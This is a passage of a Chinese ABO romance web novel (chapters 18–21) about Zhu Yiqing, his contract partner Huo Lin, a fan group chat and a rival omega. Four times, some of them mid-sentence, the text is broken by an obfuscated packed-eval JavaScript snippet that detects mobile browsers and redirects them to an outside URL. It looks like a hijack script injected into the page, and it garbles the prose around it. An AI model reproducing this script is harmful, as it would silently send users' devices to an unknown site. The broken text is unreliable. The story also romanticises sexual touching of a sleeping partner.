其实这些都跟他没有关系,反正他跟霍粼相处不了多久了,只等霍粼的信息素紊乱症痊愈,他们就会重新成为两条平行线,从此再不相交。 只不过他现在还有跟霍粼接触,想到霍粼在外面玩得这么花,心里难免会隔应。 祝贻清切回了微信小号,打算先把段枭的好友删掉,免得后面霍粼又心血来潮地查他手机。 忽地,他发现自己的小号多出了一个群聊,是段枭把他拉进去的。 群聊名称里光明正大地写着“zyq”三个字母,后面还跟了一大堆五彩斑斓的爱心。 祝贻清脸上先后闪过疑惑、茫然、不明所以。 zyq是指他吗?还有别人的姓名缩写是zyq吗? 怀着求证的心理,他点进了群聊。 [小清老婆,你生气可爱,哭脸可爱,说话可爱,亲我可爱,坦诚可爱,勇敢可爱,脆弱可爱,让我滚可爱,想我的时候可爱,你怎么那么可爱,简直是世界上最萌的宝宝,完全长在我的萌点上!] [今早我走进麦当劳,店员姐姐问我来点什么,这里有鲜虾堡、吉士堡、鸡腿堡、牛肉堡、鳕鱼堡…我的眼泪流了下来,她不能明白我的难过,这里有这么多堡,可我只想要我的17宝] [猫是怎么叫的:喵喵~羊是怎么叫的:咩咩~牛是怎么叫的:哞哞~狗是怎么叫的:卧槽小清老婆你又忘记给我拴狗绳了,下次别忘了啊!] [够了!你们能不能悠着点!上次那个群不知道怎么回事突然被封了!] [有种预感,这个群可能也活不长] [既然迟早被封,那还不如放开一点呢] 祝贻清的感受难以言喻。 他现在大概能猜到,段枭把他拉进这个群绝对是手误了。 就在此时,段枭的头像弹了出来。 [说出来你们可能不信,我今天加到清清微信好友了] [???????] [你背着我们吃这么好????] 段枭又发言:[但是我给他发了一堆消息,他一条都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896613|176555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没回我] [滚!你还挑上了!] [你是麻袋吗这么能装] 段枭继续爆料:[我今天还当着清清的面挑衅霍粼了,我跟霍粼吵了几句,结果清清谁都没帮] [他果然不喜欢霍粼吧,不然也不至于一句话都不帮他说了,他们之后绝对会分手的,想一想就爽死我了!] [你们说他是不是有点喜欢我?等他和霍粼分手了,我感觉我非常有希望上位啊!] 祝贻清不理解。 最后那个结论是怎么得出来的? 他好想反驳,但他不方便在群里发言,只能继续窥屏。 群里的人看完段枭的一大段话,立刻炸锅了。 [我操,真的假的?] [感觉段枭已经沉迷在自己的艺术里无法自拔了] [@段枭 然后呢然后呢?你不得喷死霍粼吗?] 段枭回复:[不行啊,我感觉清清不想听我们吵架了。要是再吵下去,清清一巴掌呼我脸上怎么办?] [还有这种好事?] [说谢谢了吗?] [在清高什么?我都怕你直接舔上去] [其实被omega扇巴掌的时候,首先飘过来的是信息素的香气,然后才是巴掌。当信息素充盈着你鼻腔的那一瞬间,脸上火辣辣的感觉已经不是疼了,是爽] [小清老婆今天敢打我,明天就敢打天下!好好跟着他,未来的我有的是福气!] [说A怕O,这是谣传!小清老婆,有啥可怕!壮起狗胆,把腿跪酸!千古偏见,一定推翻!] [我说你们真的够了] [要是zyq本人看到群聊内容的话不得吓晕了] 祝贻清看见这句话,忽然有点心虚。 [怎么可能?] [就是啊,我连他好友都没有,想发给他看都发不过去] [卧槽,谁敢发?不会真有人敢发吧?] [敢发给zyq算什么,谁敢把他拉到群里才是真的大胆] [拉群里????你们过完今天就不过了吗???] [@段枭 你不是加了77好友吗?你敢不敢把他拉进来?] 段枭:[别@我,借我十个胆子我都不敢这么干!] 祝贻清:“…………” 段枭把他拉进群果然是手误了。 看来此群不宜久留。 不过他不敢退群。 因为段枭是群主,如果他退群的话,段枭那边会收到消息通知,加上段枭认识他的头像,绝对会发现他被拉进这个群里了。 到时候既要被段枭追着道歉,又要防着霍粼知道这件事情,免得他内心不满。 ……好麻烦。 祝贻清叹了一口气。 算了,先不管群了。 还是先把段枭的好友删了再说吧。 祝贻清想直接从段枭的群聊发言点进他的主页删好友,结果一不小心手滑了,在段枭的头像上面多点了一下。 群聊中立刻弹出一行显眼的小灰字—— [我拍了拍“段枭”的头,亲密值+99] 祝贻清:?? 祝贻清:“……………………………………” 完了! 19. 绝对占有 [清清拍了拍你的头,好感+99] 段枭看见舔狗群里冒出来的一行提示,立即意识到自己犯了多大的错误。 虽然祝贻清几秒后就撤回了,但他还是灵敏地注意到了。 完蛋了。 段枭害怕到眼前一片花白,但还在试图挽救自己的形象。 [不是这样的清清,你听我解释,这个群只是开玩笑的,我们没有那个意思] 群里的消息静止了好几秒,然后开始疯狂刷屏。 [卧槽,啥意思啊?你真把他拉进来了???@段枭] [群众之中有叛徒!] [本人在群里吗???小清老婆我好想你,但是只能想七秒,因为我是你的一条鱼] [老婆,今天给你发了100条消息,你什么都没有回复,原来是怕影响我的发挥,你真的好细节啊,我更喜欢你啦] 满屏消息逐渐跑偏。 祝贻清一个字都没有说,迅速选择退出群聊,并且删除了段枭的好友。 毁尸灭迹完毕,就当一切都没发生过吧。 祝贻清又恢复了平时那副无波无澜的样子。 他看了一眼时间,已经晚上十一点了。 霍粼一点消息也没有,应该正左拥右抱地玩得高兴吧。 祝贻清把alpha的话听进去了,他是下定决心不再管霍粼了,反正alpha出门在外,没什么可担心的。 祝贻清困倦地打了个哈欠。 事已至此,先睡觉吧。 - 夜晚十点,霍粼想,只要祝贻清打电话来哄他两句,他就回家。 十一点,霍粼想,只要祝贻清打电话他就回家。 十二点,霍粼的底线一退再退,他煎熬地想,只要祝贻清给他发条消息,发营销广告都行,他照样会回家。 等到凌晨一点。 店员不好意思地告诉霍粼,他们要歇业了,不可以再继续待在店内了。 霍粼很迷茫。 祝贻清还没联系他呢,难道他就要自己灰溜溜地回去了? 这要是被祝贻清知道了,岂不是会觉得他很好拿捏,以后就更不在乎他的想法了? ……可是他不在家,祝贻清会按时喝药吗?会突然不舒服吗?会不会想找他,又不敢发消息,自己一个人偷偷在家里哭? 霍粼越想越焦灼。 他是alpha,怎么能等着omega来道歉?他低头认个错又能怎样?祝贻清已经那么喜欢他了,他总不能什么都不做吧,那祝贻清得多伤心啊! 霍粼想通了,他离开咖啡厅,急不可耐地往家的方向跑去。 他回到家,家里一片漆黑。 omega的房门紧闭着,他偷偷摸摸地贴着门板听了好一会儿,里面一点声响都没有。 霍粼不想走,想见祝贻清。他静悄悄地推开门,非要看一眼才觉得安心。 房间内。 祝贻清正窝在被子里,漂亮的脸蛋只露出来了一半。他的手臂还搭在一只粉红色的小猪玩偶身上,看起来睡得很香。 霍粼看见眼前的场景,再也闹不起脾气。他的心里软下一片,后知后觉地弥漫起一阵庆幸。 还好。 祝贻清就在家里。 只是不回消息,而不是出了什么事情。 幸好。 祝贻清只是睡着了而已。 不是生气了,更不是不在乎他了。 他依然是祝贻清的alpha。 且具有不可替代性。 等祝贻清醒来,他好好解释一下,他们肯定会和好的。 霍粼改变了主意,不打算走了,他小心地从床尾爬上床,想躺到祝贻清身边去。 没爬几步,他就看见了祝贻清白嫩的细腿。omega穿着短裤,腿间夹着被子,大面积肌肤裸露在外。 霍粼的视线从他的脚趾尖扫到膝盖,一路向上,最后停在了大腿肉上。 雪白的大腿肉看起来看起来极其性感,霍粼咽了下口水,心脏忽然剧烈地跳动起来。 他伸出手,轻而易举地摸到了。 掌下的肌肤细腻光滑,手感特别好。 可他还嫌不够,总觉得还能更近一点,说不定凑近了闻,还能闻到omega身上的香气。 霍粼俯下身,忍不住低、再低一点,直至鼻尖蹭到了祝贻清的大腿。 在潜意识的驱使下,他伸出舌尖偷偷舔了一口,等他意识到自己做了什么,立刻如临大敌地去看祝贻清的反应。 祝贻清没醒。 霍粼顿时更兴奋了,一回生二回熟,他又将头低了下去。 独属于omega香气扑面而来,几乎将他溺毙,他连呼吸都乱了节奏。 行动之间,祝贻清的身体似乎颤了一下。 霍粼的动作霎时顿住了,他这才意识到自己太放肆了,他是在干坏事,绝对不能把祝贻清弄醒了。 如果被祝贻清发现的话,他真的不知道要怎么解释。 ……但是祝贻清好像睡得还挺熟的。 应该不会醒吧。 于是霍粼又恬不知耻地低下头。 就在此时。 一个软枕平地飞起,精准地砸在了霍粼头上:“你有完没完?” 霍粼被砸懵了,他不知所措地抬起头,怀疑是自己舔得太投入,出现幻觉了。 “你在干什么?”祝贻清有点恼了,毫不留情地推开霍粼的脑袋,“你还真是让我刮目相看。” 他重新整理好自己的睡衣,打开床头的小夜灯,借着微弱的灯光看清了alpha的脸。 霍粼似乎还没有缓过神来。 他表情空白,张了张嘴,应该是想要解释,但一个字都没说出来。 “你不是要去找别的omega吗?”祝贻清冷声问,“怎么回来了?” 霍粼用行动说话。 今天祝贻清转给他的钱,他只花了168买了一杯咖啡,于是他把所有多出来的经费都转回给了祝贻清。 祝贻清注意到他转过来的数字,暗自惊讶:“你去哪儿了?怎么两百块都没花到?” 哪儿的会所这么便宜啊?点omega陪酒连两百都不要吗?难不成是白嫖了? “我根本就没走远。”霍粼不知道祝贻清想哪儿去了,他调出银行卡的收支记录递给他,“我说的那些都是骗你的。” 霍粼忐忑地观察omega的神情,勉强放下了一小部分面子,红着脸道:“我一直在附近的咖啡馆里等你给我打电话。” 可惜他到最后都没等到。 祝贻清还算了解他,光是通过他的表情就能看出来他没说谎。 不过他很喜欢看霍粼现在这样没那么嚣张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896614|176555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跋扈的样子,多逗了他两句:“是真的没去,还是花钱的时候用了另一张卡?” “你怎么知道我不止一张卡?” 祝贻清疑惑:“我看起来很蠢吗?” 霍粼大方地把手机塞进祝贻清手里:“那你查吧,你随便查。今天我查你手机了,公平起见,你也可以查我的。” “好吧。”祝贻清背靠在床头的软垫上,看都没看一眼,就随手将alpha的手机搁在了一旁,“但是我不想看,我不感兴趣。” 霍粼愣住了:“为什么?” 就这么不在乎吗? 说不管他了,就真的不管了,真的要把事情做得这么绝情吗? “我相信你。”祝贻清笑着朝alpha张开手臂,“想抱抱吗?” “谁想抱你?”霍粼别扭地转过头,不看他,“我都不知道你把段枭删了没有,我才不抱你。” 他表面上还在生气,但他心里的那块高悬的石头已经诚实地落地了。 果然不出他所料,祝贻清就是会一直惯着他、对他好、毫无底线地跟他和好。 祝贻清告诉他:“删了。” “真的?”霍粼马上把头转了回来,唇角情不自禁地勾起。 他就知道他跟段枭根本不是一个量级的。 没办法,祝贻清对他就是这么偏爱。 高大的alpha挤进omega的怀抱。 由于两人拥有明显的体型差,明明是祝贻清抱住了霍粼,却像是霍粼紧紧地把祝贻清禁锢在了自己怀里,保持着一个绝对占有的姿态。 “我解释完了,轮到你继续了。”祝贻清在霍粼耳边轻声问,“为什么趁我睡觉的时候做这种事情?” 他是在霍粼撩起他上衣的时候醒来的,感受有人在自己身上乱动,他先是心慌,发现是霍粼之后,他只觉得无可奈何。 他盯着霍粼全神贯注地舔自己,心想他应该舔不了几下就要走了,干脆继续闭上眼睛装睡。 谁知道霍粼看他一直不醒,更是变本加厉,从舔变成了吸和咬,完全沉浸在变态的行为里无法自拔了。 他又不是植物人,怎么可能会没有知觉?尤其是被咬到敏感处时,他是抿着唇强忍着才没叫出来。 霍粼被他提问,刚散热的耳朵又开始发红发热:“对不起,我不是故意的。” 他以前怎么没发现,祝贻清质问他的声音居然这么温柔,就好像在纵容他做坏事一样。 祝贻清不信:“不是故意的?” “……可能是上次易感期留下的后遗症吧。”霍粼自知理亏,他在omega的颈窝处蹭了蹭,把错都怪在信息素上,“我的信息素又有点控制不住了,我还以为跟你贴一下会好。” “可是我记得你之前没有这种后遗症呀。”祝贻清担忧地摸了摸他的头发,“你现在还有哪里不舒服吗?” 他释放出一点安抚信息素,他的信息素比不上其它omega那么甜蜜,只有丝丝缕缕浅淡又清新的香气。 “现在没有不舒服了。”霍粼被omega的信息素安抚,舒服得眯起眼睛,“你应该多让我闻闻你的信息素。” 他的脑袋不安分地从祝贻清的颈窝挪到胸口,透过宽松的领口,以他这样刁钻的角度,恰好可以看见祝贻清那粒诱人的胸口痣。 霍粼无厘头地说:“再让我舔一下,可以吗?” 20. 临时标记 祝贻清一怔:“你刚才不是已经……”他简直不可置信,“都那样了,还不够吗?” 霍粼眼巴巴地看着他:“我说那颗痣。” 祝贻清无可奈何。 睡衣的衣领很宽松,他随手一扯就能露出精致的锁骨,以及右边锁骨下的小痣。 趁着霍粼埋头舔吻的时刻,祝贻清关心地问:“还要再临时标记一次吗?” 霍粼的动作停滞了。 “你不是说你的信息素又控制不住了吗?”祝贻清没注意到alpha脸色的变化,还在认真分析,“我怀疑是上次的临时标记快要失效了,如果再来一次的话,治疗效果应该会更好。” 霍粼垂着头,欲言又止。 他说信息素又控制不住了本就是谎话,他不想没完没了地骗祝贻清,可祝贻清给的好处实在太诱人了,他不得不把挂在嘴边的实话咽了下去。 “我也觉得。”霍粼继续演,“那就再临时标记一次吧。” 祝贻清朝他低下头,露出后颈惹人垂涎的腺体。 霍粼毫不犹豫地咬了下去。 柠檬金酒与小飞燕的气息紧密交织成一张网,铺天盖地的包裹住他们。 霍粼故意往omega的腺体里注入了比以往更多的信息素,这样做,短时间内alpha的信息素会掩盖住omega的气味,所有靠近祝贻清的人都会知道他已经有alpha了。 祝贻清被咬得颤栗,身体细微的疼痛混着精神上极大的愉悦感,让他全然无法拒绝。 不得不承认,高契合度的AO临时标记,对彼此双方而言都是一场餍足的盛筵。 “对了。”霍粼将祝贻清整个人抱进自己怀里,让他和自己面对面,“我后天要请公司的人喝下午茶,你再给我一点钱吧。” 他觉得自己跟祝贻清已经和好了,所以故意提起给钱这茬,暗示祝贻清继续管着自己。 毕竟魏祈南说了,omega管着他是在乎他的意思,所以他还想让祝贻清继续在乎他。 哪知omega垂下眼帘:“……好,但是你以后别再跟我报备这些了。我已经把卡绑定到你的账户上了,你可以直接刷卡,不用来问我了。” 霍粼脸色原本悠然的神情僵住了,嘴角一点一点垮了下来,眼中又弥漫起一层阴翳。 “什么意思?”alpha像是听不懂人话,“为什么不用报备了?你直接把卡绑给我怎么行?霍家不是让你管着我吗?” “没关系,如果霍家有人问起来,你说都是我同意的就好。”祝贻清温柔地摸摸alpha伏在自己胸前的脑袋,“我以后不会再管你了,说到做到。” 霍粼的脸色千变万化,他反复张了好几次口,才干巴巴地说了句:“不行……”他抓住祝贻清的手,大声道,“我不同意!” “没什么不行的。”祝贻清告诉他,“我已经把卡绑在你账户上了,你想用就用。” 霍粼立刻摸起手机,检查自己账户下的银行卡。 ……竟然真的多出来了一张。 “你什么时候绑的卡?”霍粼简直不敢相信自己的眼睛,“我没有同意!” 他思来想去,猜到了什么,抬起头问祝贻清:“你还在生我的气,对不对?那我跟你道歉,我今天说错话了,我说的都是气话,我没有不想让你管我的意思,你别跟我计较了行吗?” “我没有生气,也没有在跟你计较,我只是在满足你的愿望而已。”祝贻清的眼神宛若深潭,平静无澜,“霍粼,你不是不喜欢我吗?被我管着你不应该很难受吗?” 霍粼:“我……” “难道你喜欢我?”祝贻清掀起眼,“什么时候的事?” 这话就像踩中了一道秘密机关,霍粼下意识开口否认:“你能不能不要自作多情?我怎么可能喜欢你!” 祝贻清点点头:“这就对了。” 霍粼哑巴了。 是啊,他又不喜欢祝贻清,现在祝贻清不管着他了,他不应该高兴吗? 那他现在是在发什么疯? “很晚了。”祝贻清趁机推开他,“你回房间去吧,早点休息。” 霍粼一步三回头地回到房间,心中多了个解不开的郁结。 他拿出床头柜的本子,用力地在上面写写划划。 [加段枭好友,-20] [今晚不管我,-20] [未经允许就绑卡,-20] 之前好不容易攒到的50分被扣得一干二净,甚至还负了10分。 霍粼的视线落在本子最顶端的那一行字上。 上面清晰地写着,分数扣完就取消联姻协议。 他的心陡然被刺痛了一下。 不行,不行。 霍粼积极地反思自己,都怪他,是他扣分太极端了,怎么能一次性扣这么多? 扪心自问,祝贻清真的有那么过分吗?其实并没有。 不该扣20分的。 霍粼把所有的[-20]划掉了,通通改成了[-5]。 现在祝贻清的分数是正数了,扣完今天的15分,还剩下整整35分余额。 这下不用解除协议了。 霍粼松了一口气。 - 祝贻清一直记得霍粼说控制不住信息素的事情。 他担心霍粼的信息素紊乱症加重,提前带alpha去医院复查了腺体,还特意向医生强调了这个情况。 结果检查结果出来之后,报告上赫然写着:并无异常。 “何止是没有异常。”医生看完报告,用眼神示意祝贻清别紧张,“从数值上看,霍先生的信息素紊乱症与之前相比,已经有了明显的好转了。” “那他为什么会腺体不舒服?之前明明没有过这种情况。” “你说的这个情况我也觉得很奇怪,不过从报告上来看,他的腺体确实没有问题。”医生放下报告,猜测道,“或许根本不是身体上有问题,而是心理上的问题映射到了身体上呢?您回去再多跟他聊聊吧。” 无人注意到一旁的霍粼坐立不安,脸上挂着被人戳穿后的心虚:“既然没什么事,那我们就先回去吧。” 他本来就是装的,当然什么都查不出来了。 “霍先生可以先出去了。”医生给祝贻清使了个眼色,“不过请您留步,我们再谈谈后续治疗方案的事情。” 霍粼本来一条腿已经走出门口了,听见祝贻清被叫住,他瞬间就不想走了:“我的治疗方案,我为什么不能听?” 医生露出为难的表情。 “你去给我买杯喝的好不好?”祝贻清有的是办法,他看着霍粼,语气真挚,“今天出门一直没喝水,我好渴,想喝西瓜汁。” “西瓜汁?” 谁不知道医院附近只有一家卖西瓜汁的店,开在医院正对面,来回一趟要十五分钟起步。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896615|176555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 祝贻清眨眨眼睛:“可是我真的好想喝……” 霍粼完全拒绝不了祝贻清这样,omega每眨一次眼睛,都像是在对他撒娇。 “那你在这里等我,不要乱跑。”霍粼难得感觉自己被祝贻清需要了,“你跟医生聊完记得联系我。” 等霍粼离开,祝贻清顺手关紧了诊室的门。 确认外面的人听不见里面的声音后,医生道:“你的信息素提取液不够了,要再抽一点才行。” “好,麻烦您了。”祝贻清熟练地在医生面前坐下,拉开衣领,露出后颈的腺体,“这次要抽多少?” “只需要上次的一半。”医生拿出提取器,“我们的治疗方案果然没有选错,只要把你的信息素提取液加进他的抑制剂里,再加上你人体的辅助,他的恢复速度就会比之前快不少。” 祝贻清的腺体被针尖戳破,他忍着疼问:“按照您的经验,他大概还要多久才能康复?” “这个我也说不准。”医生说,“我只能给你一个大致的范围,如果没有意外情况的话,少则三个月年,多则半年吧。” “只是我有一点不明白,您抽取信息素提取液的事为什么不告诉他呢?毕竟抽取信息素对身体有影响,可以的话最好还是让alpha多安抚一下。” “这种事情不用他操心。”祝贻清含糊其辞。 他脑子里只剩下“少则三个月多则半年”这句话了,这说明他离自由最远的距离,不过区区六个月。 很快了。 祝贻清抽完信息素提取液,头难免犯晕。 他联系了霍粼,告诉他自己就坐在诊室门口等着他。 霍粼找到他的时候,注意到他的脸色比自己离开之前苍白了不少,omega整个人身形单薄,看上去很脆弱。 怎么就……突然变成这样了。 “你怎么了?你不是在跟医生聊治疗方案吗?”霍粼总有一种祝贻清下一秒就要晕倒的错觉,他下意识将omega搂进怀里,“你哪里不舒服吗?你跟我说,刚好我们在医院,我带你去做个检查。” “我没事。”祝贻清垂下眼,谎话信手拈来,“应该是低血糖又犯了,也不是第一次了。” “刚好我带糖了。”霍粼从兜里拿出一颗草莓牛奶糖,替他剥开了糖纸,“张嘴。” 祝贻清乖乖张开嘴。 霍粼把糖喂给他,手指意外碰到了他的嘴唇,很软。 看起来特别好亲。 心动不如行动,霍粼弯腰亲了一下,果然很舒服。 祝贻清猝不及防地被亲了唇角,睁大了眼睛:“你……” 霍粼欲盖弥彰地问:“你不喜欢吗?” “当然喜欢。”祝贻清用目光描摹alpha的轮廓,“特别喜欢你。” 别的不说,霍粼这张脸他确实是喜欢,几乎完美契合他的审美点,让他挑不出一点错。 祝贻清寥寥两句话,就让霍粼心里的小鹿四处乱撞。 霍粼暗自想,还好那天他没有把祝贻清的分数全部扣光。 祝贻清这么喜欢他,肯定很想跟他结婚。他要是主动提出取消联姻协议,祝贻清该有多伤心。 “对了,医生刚刚跟你说什么了?”霍粼问。 “医生说最近的治疗很有效果。”祝贻清说着,露出前所未见的真切笑容,“霍粼,你很快就能好起来了。” 你的自由不远了。 21. 亲密照片 [我今晚有事,可能回去得比较晚] 祝贻清收到霍粼的消息时,刚接了一个加急的蛋糕订单。 时间紧急,他只简短地回了alpha两个字:[好的] 霍粼:[你不问问我有什么事吗?] 祝贻清:[没必要吧] 霍粼:[……] 霍粼:[我讨厌你] 祝贻清已读不回了。 隔了一会儿,霍粼又小心翼翼地发来一条。 [骗你的,不讨厌你] - 晚上十点。 祝贻清回到家,发现家里空无一人,想来是霍粼的事情没办完,还在外面应酬。 思索间,他的手机兀地震动了一下,收到了一条来自陌生人的短信。 短信中没有一个文字,仅有一张图片。 他点开图片,这是一张氛围极其暧昧的亲密照,照片中的两个人靠得很近,omega小鸟依人地倚靠在alpha怀里。 祝贻清定睛一看,这两人他都认识,其中的alpha他再熟悉不过了,正是霍粼,而另一个omega则是他烘焙坊里的常客,沈阅音。 沈阅音看起来很高兴,至于霍粼,由于角度问题,他只能看见霍粼小部分的侧脸,看不清他的具体表情。 祝贻清难免有点惊讶。 这两人什么时候有交集了?他居然完全没察觉。 不过从照片来看,他们的关系多半还不错,不然以霍粼绝对不会允许沈阅音靠在他身上。 霍粼说今晚有事。 原来是这种事。 祝贻清心中五味杂陈,说不上具体是什么感受。 就像是发现喂养了很久的流浪狗有了自己的主人,一边觉得理所应当,一边又觉得心底空落落。 他下意识将照片保存下来,可存着似乎也没什么意义,转而又把照片从相册里删掉了。 他管不着霍粼,也没打算管霍粼。 还是当作没看过这张照片吧。睁一只眼闭一只眼,是两个人和谐共处下去的重要条件。 虽然他没打算深究是谁给他发的短信,但发信人显然没打算轻易放过他,非要到他面前来招摇一下。 对方厚着脸皮打来了电话。 祝贻清挂断。 那边又打。 祝贻清再次挂断。 那边还打。 祝贻清:“…………” 他合理怀疑自己如果把这个号码拉入黑名单,对面甚至会换个号码继续打。 逃避问题的最好方式是解决问题,祝贻清接听电话,礼貌询问:“您好,哪位?” 那边得意地说:“祝贻清,我是沈阅音。” “猜到了。”祝贻清先发制人,“晚上好,上次给你的毛巾卷好吃吗?” “好吃啊……不是,你突然问这个干什么?你看到照片了吧?你是不是要被气死了?不然我给你打电话你怎么一直挂呀?”沈阅音的声音里藏着掩饰不住的雀跃,“我今天去霍家老宅了,霍粼还特意回家陪我吃饭了呢,他怎么没带你一起来啊?” “可能是因为霍家的饭不好吃吧。” “……啊?”沈阅音死都想不到祝贻清会给出这个答案,“你这是吃不到葡萄说葡萄酸,实际上看见照片就已经气哭了吧!” 好大一顶帽子从天而降,祝贻清无奈地笑了:“你觉得我会因为这种事情生气?” 事实就是如此,沈阅音认为能击败他的事情,在他眼里都如微风拂面般不值一提。 “你知道吗,你在我眼里就像抢到了糖的小孩子,攥着糖沾沾自喜,自以为自己手里的是最好的。”祝贻清平静道,“可是这个世界上有很多糖,你手里那颗我本来就没打算要。” “你装什么啊!”沈阅音破防了,“你敢说你不喜欢霍粼?” 祝贻清单方面挂断了电话。 几乎是无缝衔接,祝贻清挂断电话后,家门就被人打开了。 霍粼回来了。 “你回来了。”祝贻清笑着迎上去,“事情还顺利吗?” 他只是随口一问,根本没想要听霍粼回答。问完后,他帮霍粼脱了西装外套,全程连一个眼神都没给他。 霍粼站在原地,有点无措:“你……” 他感觉祝贻清今晚不对劲,对他格外敷衍,似乎只是短暂地爱了他一下,就对他失去兴趣了。 “我今晚回老宅了。”霍粼主动向他报备,“家里突然叫我回去,说有很要紧的事情,结果只是吃了一顿饭。” 吃饭就算了,最莫名其妙是桌上突然多了个他完全没印象的omega,霍夫人口口声声说他们可以趁机认识一下,以后也可以多接触。 霍粼简直惊呆了。 多接触是什么意思?这是在暗示他出轨吗? 可是他已经跟祝贻清签了联姻协议了,怎么可以偷偷接触新的omega,这未免也太道德败坏了。 吃完饭之后,霍粼满脑子只想离开老宅。他一想到祝贻清早就在家里待着了,内心就一阵焦躁。 如果回得早,说不定还有机会去祝贻清的房间里和他一起睡觉。 “你们聊吧,我就先回去了。”霍粼越想越等不及,他起身,想要离开这场意义不明的饭局,“下次没有什么重要的事,就不要再叫我回来了。” “谁说没有什么重要的事?”霍夫人向他介绍,“这是沈家的小少爷,叫沈阅音。改天你们俩可以一起去测个信息素契合度,说不定数值很高,甚至比祝贻清和你的契合度还高呢。” “测这个干什么?”霍粼想都没想就拒绝了,“如果我和他的契合度更高,难道我要跟祝贻清取消协议吗?” 霍夫人理所应当地说:“对啊。” 霍粼:? 这对吗? 霍粼顿时急了:“怎么能这样?协议哪是想取消就能取消的?我跟他在一起都快三年了。” 在他全神贯注地反驳时,沈阅音早已悄悄地贴近了他,以迅雷不及掩耳之势倚上了他的胸膛,抬起手机就是一张自拍。 霍粼有一种不祥的预感,眼神凌厉:“你在干什么?” “我在自拍。”沈阅音假装被吓到,“我只是觉得你这里的光线比较好而已……对不起,我不小心把你也拍入镜了,如果你讨厌的话,我删掉就好了……你能不能不要这么凶?” 霍粼这个时候才终于用正眼瞧他,看清了沈阅音长什么样。 没有拉踩的意思,他迄今为止见过的omega数不胜数,但是在他心里,总觉得全世界都比不上祝贻清。 沈阅音被看得头皮发麻:“我说错什么了吗?你一直看着我。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896616|176555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “霍粼!”霍夫人对他的态度很不满意,“你怎么跟人家说话呢?人家好歹是omega,你这么凶,哪个omega会喜欢你?” 霍粼想也没想:“祝贻清就挺喜欢我的。” “那你就等着看吧。”霍夫人嗤笑一声,“再过几个月,你看看他还喜不喜欢你。” 这话说得就像祝贻清迟早会抛弃他似的。 霍粼听得很不舒服,想和祝贻清见面的欲望越燃越烈。他在老宅待不下去了,无视掉霍夫人的挽留,他头也不回地离开了老宅。 直到现在见到祝贻清,他躁动的心才逐渐平静下来。 “霍夫人有一段时间没见你了,叫你回去吃一顿饭也很正常。”祝贻清手上还拿着霍粼的外套,言语间,他闻到了外套上飘散出来的信息素香味,类似于草莓软糖,总之和霍粼的信息素不是一个味道。 结合收到的照片和挑衅电话来推断,祝贻清一秒就解码了草莓味信息素的来源。 多半是沈阅音。 祝贻清沉默地挂好霍粼的西服外套,假装鼻塞了,没闻到。 他不再搭理alpha,转身朝楼上走去。 “你去哪儿?”霍粼刚回家,还没和祝贻清待够,连忙大步追上去,“你等我一下。” “还有事吗?”祝贻清停下脚步,微微侧过头,“你说吧。” “我……”霍粼也没想好说什么,他支吾两声,想起来今天沈阅音拍的那张照片,又继而联想到自己和祝贻清好像从没拍过合照,“我想说,你能不能跟我一起拍张照片?” 祝贻清意外于霍粼会提出这个要求。 “为什么想起来要拍照片了?”祝贻清不理解,但还是解锁了自己的手机,打开了前置摄像头,“你想怎么拍?” 摄像头画面中,祝贻清和霍粼之间隔着两个拳头的距离,看起来一点也不熟。 “你别离我这么远。”霍粼说着,主动往祝贻清身边靠,到最后干脆从他身后抱住了他,“就这样吧。” 看起来挺亲密的。 下次要是再有谁起哄说他祝贻清会分开,他就把这张照片拿给谁看。 祝贻清不知道alpha有这么多心眼,身体接触间,他只感受到独属于alpha的高浓度信息素在靠近,最终将他裹挟。 他们挨得很近。 可是他很难不联想到那张霍粼和沈阅音一起拍的照片,他们拍照的时候,两人之间的距离应该是更近的。 他现在合理怀疑,alpha想跟他拍照是因为今天刚和沈阅音拍了照,不然alpha怎么会想起来这一茬。 祝贻清心不在焉地按下快门,手不小心抖了一下,照片理所当然地糊了,失去了保留下来的价值。 “没拍好。”祝贻清兴致缺缺地删了糊掉的照片,“算了,不拍了吧,也没什么意义。” “不要删!” 